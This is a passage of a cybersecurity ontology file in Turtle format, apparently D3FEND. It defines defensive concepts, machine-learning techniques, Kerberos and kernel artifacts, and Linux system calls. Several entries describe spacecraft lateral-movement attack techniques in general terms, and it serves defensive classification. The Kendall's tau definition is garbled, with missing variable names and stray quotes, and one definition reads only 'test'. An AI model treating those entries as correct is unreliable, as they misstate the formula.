    d3f:definition """Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network or system activities for malicious activity. The main functions of intrusion prevention systems are to identify malicious activity, log information about this activity, report it and attempt to block or stop it.

Intrusion prevention systems are considered extensions of intrusion detection systems because they both monitor network traffic and/or system activities for malicious activity. The main differences are, unlike intrusion detection systems, intrusion prevention systems are placed in-line and are able to actively prevent or block intrusions that are detected. IPS can take such actions as sending an alarm, dropping detected malicious packets, resetting a connection or blocking traffic from the offending IP address. An IPS also can correct cyclic redundancy check (CRC) errors, defragment packet streams, mitigate TCP sequencing issues, and clean up unwanted transport and network layer options.""" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Intrusion_detection_system#Intrusion_prevention> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Intrusion_detection_system> ;
    rdfs:subClassOf d3f:IntrusionDetectionSystem ;
    skos:altLabel "IDPS",
        "IPS",
        "Intrusion Detection and Prevention System" .

d3f:IsolationEvent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Isolation Event" ;
    d3f:definition "An event involving actions to create logical or physical barriers that isolate compromised components, preventing adversary movement and reducing attack surfaces." ;
    d3f:related d3f:Isolate ;
    rdfs:subClassOf d3f:SecurityEvent .

d3f:JavaArchive a owl:Class ;
    rdfs:label "Java Archive" ;
    d3f:definition "A JAR (Java ARchive) is a package file format typically used to aggregate many Java class files and associated metadata and resources (text, images, etc.) into one file for distribution." ;
    rdfs:seeAlso <https://dbpedia.org/page/JAR_(file_format)> ;
    rdfs:subClassOf d3f:ArchiveFile,
        d3f:SoftwarePackage .

d3f:K-CenterClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "K-Center Clustering" ;
    d3f:d3fend-id "D3A-KCC" ;
    d3f:definition "K-center Clustering is a type of clustering based on an combinatorial optimization methods.  It clusters a set of points so as to minimize the maximum intercluster distance." ;
    d3f:kb-article """## How it works

An example K-center Clustering problem is to mimimize the number of points in a set that are necessary so that a every other point in the set is within some fixed distance of those points.  For instance, given n cities with specified distances, one wants to build k warehouses in different cities and minimize the maximum distance of a city to a warehouse.

## Considerations

- **Scalability**: Exact solutions are NP-hard.  However, algorithms
    that have been proven effective and create no more than 2x the
    optimal set of clusters can run in O(kn) proportional to k*n where
    k is the minimum number of clusters and n is the number of data
    points being clustered.

## Key Test Considerations

- **Unsupervised Learning**:

  - **Number of Clusters**: The Gonzalez (Gon) algorithm guarantees
      creating no more than twice the optimal number of clusters,
      where the optimal number is the minimum number of clusters to
      minimize total distance between representative points in the
      clusters [1].

- **Cluster Analysis**:

    - **Rand Index and Adjusted Rand Index**: Given ground truth set
      of class labels for the data, the Rand Index is a measure of the
      similarity between two data clusterings. The Rand Index is the
      accuracy of determining if a link belongs within a cluster or
      not. A form of the Rand Index may be defined that is adjusted
      for the chance grouping of elements, this is the Adjusted Rand
      Index [5].

    - **Adjusted Mutual Information**: Given ground truth set of class
      labels for the data, Adjusted Mutual Information corrects the
      effect of agreement solely due to chance between clusterings,
      similar to the way the Adjusted Rand Index corrects the Rand
      Index [6].

- **Connection-based Clustering**:

  - **Choice of Distance Metric**: The outcome can vary significantly depending on the chosen distance metric (e.g., Euclidean, Manhattan).

  - **Sensitivity**: Connection-based method can be sensitive to outliers, which might affect the quality of the clusters formed.

- **K-center Clustering**:

  - **Silhouette Score**: The silhouette score refers to a scoring
    method that helps validate the consistency between clusters of
    data. The evaluation technique also produces a concise graphical
    representation of how well each object appear to have been
    classified.  It is suited to K-centric Clustering in that it also
    works for different metric spaces.

  - **Distance Metric**: The distance measure must be a true metric (see
    [2]).  Differences in the metric chosen may (e.g., Euclidean,a
    Manhattan) affect results significantly.

  - **Sensitivity**: Greedy implementations may be sensitive to
    outliers.

## Platforms, Tools, or Libraries

N/A. _Note that this algorithm is relatively simple and so it is
usually implemented from scratch by those incorporating this algorithm
into a system._

## References

1. Gonzalez, T.F. (1985). Clustering to Minimize the Maximum Intercluster Distance. Theor. Comput. Sci., 38, 293-306.
[Link](https://www.sciencedirect.com/science/article/pii/0304397585902245?via%3Dihub).

1. Weisstein, Eric W. (n.d.). "Metric." From MathWorld--A Wolfram Web Resource. [Link](https://mathworld.wolfram.com/Metric.html).

1. Wikipedia. (8 Aug 2023). Metric k-center [Link](https://en.wikipedia.org/wiki/Metric_k-center).

1. Wikipedia. (14 Aug 2023). Vertex k-center problem. [Link](https://en.wikipedia.org/wiki/Vertex_k-center_problem).

1. Wikipedia. (n.d.). Rand Index. [Link](https://en.wikipedia.org/wiki/Rand_index).

1. Wikipedia. (n.d.). Adjusted Mutual Information. [Link](https://en.wikipedia.org/wiki/Adjusted_mutual_information).

1. Wikipedia. (1 Aug 2023). Silhouette (clustering). [Link](https://en.wikipedia.org/wiki/Silhouette_(clustering)).""" ;
    rdfs:subClassOf d3f:Graph-basedClustering .

d3f:K-FoldCross-Validation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "K-Fold Cross-Validation" ;
    d3f:d3fend-id "D3A-KFCV" ;
    d3f:definition "Cross-validation is a resampling procedure used to evaluate machine learning models on a limited data sample. The procedure has a single parameter called k that refers to the number of groups that a given data sample is to be split into. As such, the procedure is often called k-fold cross-validation. When a specific value for k is chosen, it may be used in place of k in the reference to the model, such as k=10 becoming 10-fold cross-validation" ;
    d3f:kb-article """## References
K-Fold Cross-Validation. Machine Learning Mastery.  [Link](https://machinelearningmastery.com/k-fold-cross-validation/#:~:text=Cross%2Dvalidation%20is%20a%20resampling,k%2Dfold%20cross%2Dvalidation).""" ;
    rdfs:subClassOf d3f:ResamplingEnsemble .

d3f:K-NearestNeighbors a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "K-Nearest Neighbors" ;
    d3f:d3fend-id "D3A-KNN" ;
    d3f:definition "The k-nearest neighbors algorithm, also known as KNN or k-NN, is a non-parametric, supervised learning classifier, which uses proximity to make classifications or predictions about the grouping of an individual data point." ;
    d3f:kb-article """## **How it works**
The goal of the k-nearest neighbor algorithm is to identify the nearest neighbors of a given query point, so that we can assign a class label to that point. To determine which data points are closest to a given query point, the distance between the query point and the other data points will need to be calculated. The distance measures used can vary depending on the data set or implementation and help inform decision boundaries, which query points into different regions. Then, by defining the k-value (the number of neighbors to be checked to determine the classification of a specific query point), the data can be assigned its class label.

For classification problems, a class label is assigned on the basis of a majority vote—i.e. the label that is most frequently represented around a given data point is used (the term “majority vote” is commonly used in literature, however, the technique is more technically considered “plurality voting”).  Regression problems use a similar concept as classification problem, but in this case, the average the k nearest neighbors is taken to make a prediction about a classification. The main distinction here is that classification is used for discrete values, whereas regression is used with continuous ones.

Unlike other algorithms that explicitly model the problem, such as linear regression, KNN is instance-based. It means that the algorithm doesn't explicitly learn a model. Instead, it memorizes the training instances and uses them as "knowledge" for the prediction phase. It's also worth noting that the KNN algorithm is also part of a family of “lazy learning” models, meaning that it only stores a training dataset versus undergoing a training stage.

## **Considerations**

* **Scaling:** Scaling is a problem as KNN is a lazy algorithm and takes up more memory and storage compared to other classification methods.

* **Implementation and Hyperparameters:** As KNN only requires a k-value and a distance metric, it is often an easy implementation and can adjust will to new training data.

## Key Test Considerations

- **Supervised Learning:**

  - **Cross Validation:** As cross validation methods like k-fold, leave-one-out, and stratified cross validation can help validate model performance. However, nuances like pessimism bias in k-fold cross validation or high variability in leave-one-out cross validation may need consideration.

- **Classification:**

  - **ROC Curve:**  A standard technique used to summarize classifier performance over a range of tradeoffs between true and false positives is the Receiver Operating Characteristic (ROC) curve.

  - **Data Imbalance:** Imbalanced data sets where one class significantly outnumbers others, under sampling techniques like SMOTE may be beneficial in sampling minority classes.

- **K-Nearest Neighbor**

  - **Choice of K:** The number of neighbors, K, affects the decision boundary. A smaller K can lead to a noisy decision boundary, while a large K can smooth it out, but may also blur class distinctions.

  - **K-d Tree:** Exact searching on large datasets can be computationally costly and inefficient. Implementing approximate nearest neighbor algorithms like the K-d tree algorithm.

  - **Dimensionality:** KNN does not perform well while using high-dimensional data and can be sensitive to irrelevant features which can lead to overfitting.

  - **Distance Metric:** Choosing the appropriate distance metric (Euclidean, Manhattan, MinKowski, Hamming etc.) is essential, based on the nature of the data.

## **References**
1. IBM. K-Nearest Neighbors Algorithm.  [Link](https://www.ibm.com/topics/knn?mhsrc=ibmsearch_a&mhq=k-nearest%20neighbors%20).
2. Muja, M., & Lowe, D. G. (2014). Scalable nearest neighbor algorithms for high dimensional data. IEEE Transactions on Pattern Analysis and Machine Intelligence. [Link]( https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=6809191).
3. Chawla, N. V., Bowyer, K. W., Hall, L. O., & Kegelmeyer, W. P. (2002). SMOTE: synthetic minority over-sampling technique. Journal of artificial intelligence research, 16, 321-357. [Link]( https://www.jair.org/index.php/jair/article/view/10302/24590).
4. Kohavi, R. (1995). A study of cross-validation and bootstrap for accuracy estimation and model selection. Proceedings of the 14th international joint conference on Artificial intelligence . [Link]( https://www.ijcai.org/Proceedings/95-2/Papers/016.pdf).""" ;
    rdfs:subClassOf d3f:Classification .

d3f:K-meansClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "K-means Clustering" ;
    d3f:d3fend-id "D3A-KMC" ;
    d3f:definition "K-means algorithm identifies k number of centroids, and then allocates every data point to the nearest cluster, while keeping the centroids as small as possible." ;
    d3f:kb-article """## References
Towards Data Science. (n.d.). Understanding K-means Clustering in Machine Learning. [Link](https://towardsdatascience.com/understanding-k-means-clustering-in-machine-learning-6a6e67336aa1)""" ;
    rdfs:subClassOf d3f:Centroid-basedClustering .

d3f:KendallsRankCorrelationCoefficient a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kendall's Rank Correlation Coefficient" ;
    d3f:d3fend-id "D3A-KRCC" ;
    d3f:definition "Kendall's $\\\\tau$ between and is given by $(n_c - n_d) / \\\\sqrt((n_c+n_d+n_x)(n_c+n_d+n_y)$, where is the number of concordant pairs of observations, is the number of discordant pairs, is the number of ties involving only the variable, and is the number of ties involving only the variable.\" ;" ;
    d3f:kb-article """## References
1. Wolfram Research. (2012). KendallTau. Wolfram Language function.  [Link](https://reference.wolfram.com/language/ref/KendallTau.html)
1. Kendall's Tau. (2023, May 23). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Kendall_rank_correlation_coefficient]\"\"\",""" ;
    d3f:synonym "Kendall's Tau Coefficient" ;
    rdfs:isDefinedBy <https://reference.wolfram.com/language/ref/KendallTau.html> ;
    rdfs:subClassOf d3f:RankCorrelationCoefficient .

d3f:KerberosTicketGrantingServiceTicket a owl:Class ;
    rdfs:label "Kerberos Ticket Granting Service Ticket" ;
    d3f:definition "A Kerberos ticket-granting service (TGS) ticket is given in response to requesting a Kerberos TGS request." ;
    rdfs:subClassOf d3f:KerberosTicket ;
    skos:altLabel "TGS Ticket" .

d3f:KerberosTicketGrantingTicketAccount a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kerberos Ticket Granting Ticket Account" ;
    d3f:creates d3f:KerberosTicketGrantingTicket ;
    d3f:definition "KRBTGT is an account used by Key Distribution Center (KDC) service to issue Ticket Granting Tickets (TGTs) as part of the Kerberos authentication protocol." ;
    d3f:synonym "krbtgt" ;
    rdfs:seeAlso <https://blog.quest.com/what-is-krbtgt-and-why-should-you-change-the-password/> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:KerberosTicketGrantingTicket ],
        d3f:ServiceAccount .

d3f:KernelAPISensor a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kernel API Sensor" ;
    d3f:definition "Monitors system calls (operating system api functions)." ;
    d3f:monitors d3f:SystemCall ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:SystemCall ],
        d3f:EndpointSensor .

d3f:KernelModuleUnloadEvent a owl:Class ;
    rdfs:label "Kernel Module Unload Event" ;
    d3f:definition "An event representing the removal of a kernel module from the operating system kernel, deallocating resources and potentially altering system functionality." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:KernelModuleLoadEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:MemoryDeletionEvent ],
        d3f:KernelModuleEvent .

d3f:KioskComputer a owl:Class ;
    rdfs:label "Kiosk Computer" ;
    d3f:definition "An interactive kiosk is a computer terminal featuring specialized hardware and software that provides access to information and applications for communication, commerce, entertainment, or education. Early interactive kiosks sometimes resembled telephone booths, but have been embraced by retail, food service and hospitality to improve customer service and streamline operations. Interactive kiosks are typically placed in high foot traffic settings such as shops, hotel lobbies or airports." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Interactive_kiosk> ;
    rdfs:subClassOf d3f:SharedComputer ;
    skos:altLabel "Interactive Kiosk" .

d3f:LDIFRecord a d3f:UserAccount,
        owl:NamedIndividual ;
    rdfs:label "LDIF Record" .

d3f:LM-0001 a owl:Class ;
    rdfs:label "Hosted Payload - SPARTA" ;
    d3f:attack-id "LM-0001" ;
    d3f:definition "Threat actors may use the hosted payload within the victim spacecraft in order to gain access to other subsystems. The hosted payload often has a need to gather and send data to the internal subsystems, depending on its purpose. Threat actors may be able to take advantage of this communication in order to laterally move to the other subsystems and have commands be processed." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0001/> ;
    rdfs:subClassOf d3f:SPARTALateralMovementTechnique ;
    skos:prefLabel "Hosted Payload" .

d3f:LM-0002 a owl:Class ;
    rdfs:label "Exploit Lack of Bus Segregation - SPARTA" ;
    d3f:attack-id "LM-0002" ;
    d3f:definition "Threat actors may exploit victim spacecraft on-board flat architecture for lateral movement purposes. Depending on implementation decisions, spacecraft can have a completely flat architecture where remote terminals, sub-systems, payloads, etc. can all communicate on the same main bus without any segmentation, authentication, etc. Threat actors can leverage this poor design to send specially crafted data from one compromised devices or sub-system. This could enable the threat actor to laterally move to another area of the spacecraft or escalate privileges (i.e., bus master, bus controller)" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0002/> ;
    rdfs:subClassOf d3f:SPARTALateralMovementTechnique ;
    skos:prefLabel "Exploit Lack of Bus Segregation" .

d3f:LM-0003 a owl:Class ;
    rdfs:label "Constellation Hopping via Crosslink - SPARTA" ;
    d3f:attack-id "LM-0003" ;
    d3f:definition "Threat actors may attempt to command another neighboring spacecraft via crosslink. spacecraft in close proximity are often able to send commands back and forth. Threat actors may be able to leverage this access to compromise another spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0003/> ;
    rdfs:subClassOf d3f:SPARTALateralMovementTechnique ;
    skos:prefLabel "Constellation Hopping via Crosslink" .

d3f:LM-0004 a owl:Class ;
    rdfs:label "Visiting Vehicle Interface(s) - SPARTA" ;
    d3f:attack-id "LM-0004" ;
    d3f:definition "Threat actors may move from one spacecraft to another through visiting vehicle interfaces. When a vehicle docks with a spacecraft, many programs are automatically triggered in order to ensure docking mechanisms are locked. This entails several data points and commands being sent to and from the spacecraft and the visiting vehicle. If a threat actor were to compromise a visiting vehicle, they could target these specific programs in order to send malicious commands to the victim spacecraft once docked." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0004/> ;
    rdfs:subClassOf d3f:SPARTALateralMovementTechnique ;
    skos:prefLabel "Visiting Vehicle Interface(s)" .

d3f:LM-0005 a owl:Class ;
    rdfs:label "Virtualization Escape - SPARTA" ;
    d3f:attack-id "LM-0005" ;
    d3f:definition "In virtualized environments, threat actors can use the open ports between the partitions to overcome the hypervisor's protection and damage another partition. Further, if the threat actor has compromised the payload, access to a critical partition can be gained through ports allowed by hypervisor." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0005/> ;
    rdfs:subClassOf d3f:SPARTALateralMovementTechnique ;
    skos:prefLabel "Virtualization Escape" .

d3f:LM-0006.01 a owl:Class ;
    rdfs:label "Rideshare Payload - SPARTA" ;
    d3f:attack-id "LM-0006.01" ;
    d3f:definition "Threat actors may attempt to move laterally between multiple co-located payloads onboard the same launch vehicle during shared launch missions (i.e., rideshare configurations). This differs from lateral movement between spacecraft subsystems or onboard hosted payloads. In this case, each payload may belong to a different customer or organization, but they share the same physical transport infrastructure. If insufficient isolation or segmentation exists between payloads during launch integration (e.g., shared avionics bus, data interface, or environmental control), threat actors may exploit the launch vehicle interface to enable cross-payload access or data compromise before separation." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0006/01/> ;
    rdfs:subClassOf d3f:LM-0006 ;
    skos:prefLabel "Rideshare Payload" .

d3f:LM-0007 a owl:Class ;
    rdfs:label "Credentialed Traversal - SPARTA" ;
    d3f:attack-id "LM-0007" ;
    d3f:definition "Threat actors may leverage valid credentials to traverse across spacecraft subsystems, communication buses, or even to access other spacecraft within a constellation, all while avoiding detection. These credentials may include system service accounts, user accounts, maintenance credentials, cryptographic keys, or other authentication mechanisms that grant authorized access. Rather than exploiting vulnerabilities, this technique relies on the reuse or misuse of trusted credentials to move laterally within the space system architecture. When access control boundaries are weak, flat, or poorly enforced, valid credentials can enable attackers to reach restricted functions or domains without raising alarms. This traversal allows evasion of isolation mechanisms and facilitates further actions without triggering traditional anomaly detection tied to unauthorized access attempts." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/LM-0007/> ;
    rdfs:subClassOf d3f:SPARTALateralMovementTechnique ;
    skos:prefLabel "Credentialed Traversal" .

d3f:LaptopComputer a owl:Class ;
    rdfs:label "Laptop Computer" ;
    d3f:definition "A laptop computer (also laptop), is a small, portable personal computer (PC) with a \"clamshell\" form factor, typically having a thin LCD or LED computer screen mounted on the inside of the upper lid of the clamshell and an alphanumeric keyboard on the inside of the lower lid. The clamshell is opened up to use the computer. Laptops are folded shut for transportation, and thus are suitable for mobile use. Its name comes from lap, as it was deemed to be placed on a person's lap when being used. Although originally there was a distinction between laptops and notebooks (the former being bigger and heavier than the latter), as of 2014, there is often no longer any difference. Today, laptops are commonly used in a variety of settings, such as at work, in education, for playing games, web browsing" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Laptop> ;
    rdfs:subClassOf d3f:PersonalComputer ;
    skos:altLabel "Laptop",
        "Notebook" .

d3f:LevenshteinMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Levenschtein Matching" ;
    d3f:d3fend-id "D3A-LM" ;
    d3f:definition "The Levenshtein distance (LD) is a metric for measuring the differences between two sequences - or strings. Informally, the LD is the number of individual edits one would have to make to turn one sequence into another." ;
    d3f:kb-article """## References
1. Navarro, G. (2001). A guided tour to approximate string matching. _ACM Computing Surveys_, 33(1), 31-88. [Link](https://doi.org/10.1145/375360.375365)""" ;
    d3f:synonym "Edit Distance" ;
    rdfs:subClassOf d3f:ApproximateStringMatching .

d3f:LinearClassifier a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Linear Classifier" ;
    d3f:d3fend-id "D3A-LC" ;
    d3f:definition "A linear classifier is a model that makes a decision to categories a set of data points to a discrete class based on a linear combination of its explanatory variables" ;
    d3f:kb-article """## References
A Look at the Maths Behind Linear Classification. Towards Data Science. [Link](https://towardsdatascience.com/a-look-at-the-maths-behind-linear-classification-166e99a9e5fb).""" ;
    rdfs:subClassOf d3f:Classification .

d3f:LinearLogicProgramming a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Linear Logic Programming" ;
    d3f:d3fend-id "D3A-LLP" ;
    d3f:definition "Linear logic programming is a form of logic programming that uses linear logic, that is, it emphasizes the use of formulas as resources." ;
    d3f:kb-article """## References
1. Cosmo, R. and Miller D. (2019, May 24). _Linear logic_. Stanford Encyclopedia of Philosophy. [Link](https://plato.stanford.edu/entries/logic-linear/#LinLogComSci)
2. Linear logic programming. (2023, May 16). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Logic_programming#Linear_logic_programming)""" ;
    rdfs:subClassOf d3f:LogicProgramming .

d3f:LinearRegressionLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Linear Regression Learning" ;
    d3f:d3fend-id "D3A-LRL" ;
    d3f:definition "A supervised learning method that builds a linear regression model using training data." ;
    d3f:kb-article """## References
- Gawali, Suvarna. “Linear Regression Algorithm to Make Predictions Easily.” Analytics Vidhya, 22 July 2022, https://www.analyticsvidhya.com/blog/2021/06/linear-regression-in-machine-learning/.
- Nau, Robert. “Statistical Forecasting: Notes On Regression and Time Series Analysis.” Introduction to Linear Regression Analysis, Duke University Fuqua School of Business, 18 Aug. 2020, https://people.duke.edu/~rnau/regintro.htm.
- Ng, Ritchie. “Evaluating a Linear Regression Model.” Ritchieng.github.io, 8 Jan. 2023, https://www.ritchieng.com/machine-learning-evaluate-linear-regression-model/.
- Bochkarev, Alexei. "A New Typology Design of Performance Metrics to Measure Errors in Machine Learning Regression Algorithms", 2019, https://www.researchgate.net/publication/330661543_A_New_Typology_Design_of_Performance_Metrics_to_Measure_Errors_in_Machine_Learning_Regression_Algorithms.""" ;
    rdfs:seeAlso d3f:LinearRegression ;
    rdfs:subClassOf d3f:RegressionAnalysisLearning .

d3f:LinuxClone a owl:Class ;
    rdfs:label "Linux Clone" ;
    d3f:definition "Creates a child process and provides more precise control over the data shared between the parent and child processes." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/clone.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateProcess .

d3f:LinuxClone3 a owl:Class ;
    rdfs:label "Linux Clone3" ;
    d3f:definition """Creates a child process and provides more precise control over the data shared between the parent and child processes.

Newer system call.""" ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/clone3.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateProcess .

d3f:LinuxClone3ArgumentCLONE_THREAD a owl:Class ;
    rdfs:label "Linux Clone3 Argument CLONE_THREAD" ;
    d3f:definition "A flag parameter to the Clone3 syscall. If set, the child is placed in the same thread group as the calling process." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/clone3.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateThread .

d3f:LinuxCloneArgumentCLONE_THREAD a owl:Class ;
    rdfs:label "Linux Clone Argument CLONE_THREAD" ;
    d3f:definition "A flag parameter to the Clone syscall. If set, the child is placed in the same thread group as the calling process." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/clone.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateThread .

d3f:LinuxConnect a owl:Class ;
    rdfs:label "Linux Connect" ;
    d3f:definition "Initiate a connection on a socket." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/connect.2.html> ;
    rdfs:subClassOf d3f:OSAPIConnectSocket .

d3f:LinuxCreat a owl:Class ;
    rdfs:label "Linux Creat" ;
    d3f:definition "Equivalent to calling Linux Open with flags equal to O_CREAT|O_WRONLY|O_TRUNC." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/creat.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:LinuxDeleteModule a owl:Class ;
    rdfs:label "Linux Delete Module" ;
    d3f:definition "Attempts to remove the unused loadable module entry identified by name. If the module has an exit function, then that function is executed before unloading the module." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/delete_module.2.html> ;
    rdfs:subClassOf d3f:OSAPIUnloadModule .

d3f:LinuxELFFile32bit a d3f:ExecutableBinary,
        owl:NamedIndividual ;
    rdfs:label "Linux ELF File 32bit" ;
    d3f:definition "test" .

d3f:LinuxELFFile64bit a d3f:ExecutableBinary,
        owl:NamedIndividual ;
    rdfs:label "Linux ELF File 64bit" .

d3f:LinuxExecve a owl:Class ;
    rdfs:label "Linux Execve" ;
    d3f:definition "Executes a program by replacing the calling process with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments. The PID stays the same." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/execve.2.html> ;
    rdfs:subClassOf d3f:OSAPIExec .

d3f:LinuxExecveat a owl:Class ;
    rdfs:label "Linux Execveat" ;
    d3f:definition "Execute program relative to a directory file descriptor. Behavior is similar to Linux Execve." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/execveat.2.html> ;
    rdfs:subClassOf d3f:OSAPIExec .

d3f:LinuxFork a owl:Class ;
    rdfs:label "Linux Fork" ;
    d3f:definition "Creates a child process with unique PID but retains parent PID as Parent Process Identifier (PPID)." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/fork.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateProcess .

d3f:LinuxInitModule a owl:Class ;
    rdfs:label "Linux Init_Module" ;
    d3f:definition "Loads an ELF image into kernel space, performs any necessary symbol relocations, initializes module parameters to values provided by the caller, and then runs the module's init function." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/init_module.2.html> ;
    rdfs:subClassOf d3f:OSAPILoadModule .

d3f:LinuxKillArgumentSIGKILL a owl:Class ;
    rdfs:label "Linux Kill Argument SIGKILL" ;
    d3f:definition "Send SIGKILL signal to a process." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/kill.2.html> ;
    rdfs:subClassOf d3f:OSAPITerminateProcess .

d3f:LinuxMmap a owl:Class ;
    rdfs:label "Linux Mmap" ;
    d3f:definition "Map files or devices into memory." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/mmap.2.html> ;
    rdfs:subClassOf d3f:OSAPIAllocateMemory .

d3f:LinuxMmap2 a owl:Class ;
    rdfs:label "Linux Mmap2" ;
    d3f:definition "Map files or devices into memory." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/mmap2.2.html> ;
    rdfs:subClassOf d3f:OSAPIAllocateMemory .

d3f:LinuxMunmap a owl:Class ;
    rdfs:label "Linux Munmap" ;
    d3f:definition "Unmap files or devices from memory." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/munmap.2.html> ;
    rdfs:subClassOf d3f:OSAPIFreeMemory .

d3f:LinuxOpenArgumentO_CREAT a owl:Class ;
    rdfs:label "Linux Open Argument O_CREAT" ;
    d3f:definition "Create a regular file." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/open.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:LinuxOpenArgumentO_RDONLY-O_WRONLY-O_RDWR a owl:Class ;
    rdfs:label "Linux Open Argument O_RDONLY, O_WRONLY, O_RDWR" ;
    d3f:definition "Opens a file specified by pathname." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/open.2.html> ;
    rdfs:subClassOf d3f:OSAPIOpenFile .

d3f:LinuxOpenAt2ArgumentO_CREAT a owl:Class ;
    rdfs:label "Linux OpenAt2 Argument O_CREAT" ;
    d3f:definition "Create a regular file. Extension of Linux Openat." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/openat2.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:LinuxOpenAt2ArgumentO_RDONLY-O_WRONLY-O_RDWR a owl:Class ;
    rdfs:label "Linux OpenAt2 Argument O_RDONLY, O_WRONLY, O_RDWR" ;
    d3f:definition "Extension of Linux Openat." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/openat2.2.html> ;
    rdfs:subClassOf d3f:OSAPIOpenFile .

d3f:LinuxOpenAtArgumentO_CREAT a owl:Class ;
    rdfs:label "Linux OpenAt Argument O_CREAT" ;
    d3f:definition "Create a regular file. Same functionality as Linux Open but slight differences in parameter." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/openat.2.html> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:LinuxOpenAtArgumentO_RDONLY-O_WRONLY-O_RDWR a owl:Class ;
    rdfs:label "Linux OpenAt Argument O_RDONLY, O_WRONLY, O_RDWR" ;
    d3f:definition "Same functionality as Linux Open but slight differences in parameter." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/openat.2.html> ;
    rdfs:subClassOf d3f:OSAPIOpenFile .

d3f:LinuxPauseProcess a owl:Class ;
    rdfs:label "Linux Pause Process" ;
    d3f:definition "Causes the calling process to sleep until a signal is delivered that either terminates the process or causes the invocation of a signal-catching function." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/pause.2.html> ;
    rdfs:subClassOf d3f:OSAPISuspendProcess .

d3f:LinuxPauseThread a owl:Class ;
    rdfs:label "Linux Pause Thread" ;
    d3f:definition "Causes the calling thread to sleep until a signal is delivered that either terminates the thread or causes the invocation of a signal-catching function." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/pause.2.html> ;
    rdfs:subClassOf d3f:OSAPISuspendThread .

d3f:LinuxProcess a d3f:Process,
        owl:NamedIndividual ;
    rdfs:label "Linux Process" .

d3f:LinuxPtraceArgumentPTRACEATTACH a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_ATTACH" ;
    d3f:definition "Attach to the process specified in pid, making it a tracee of the calling process." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPIAccessProcess .

d3f:LinuxPtraceArgumentPTRACECONT a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_CONT" ;
    d3f:definition "Restart the stopped tracee process." ;
    rdfs:isDefinedBy <https://man7.org/linux/man-pages/man2/ptrace.2.html> ;
    rdfs:subClassOf d3f:OSAPIResumeProcess .

d3f:LinuxPtraceArgumentPTRACEGETREGS a owl:Class ;
    rdfs:label "Linux Ptrace Argument PTRACE_GETREGS" ;
    d3f:definition "Copy the tracee's general-purpose or floating-point registers, respectively, to the address data in the tracer." ;
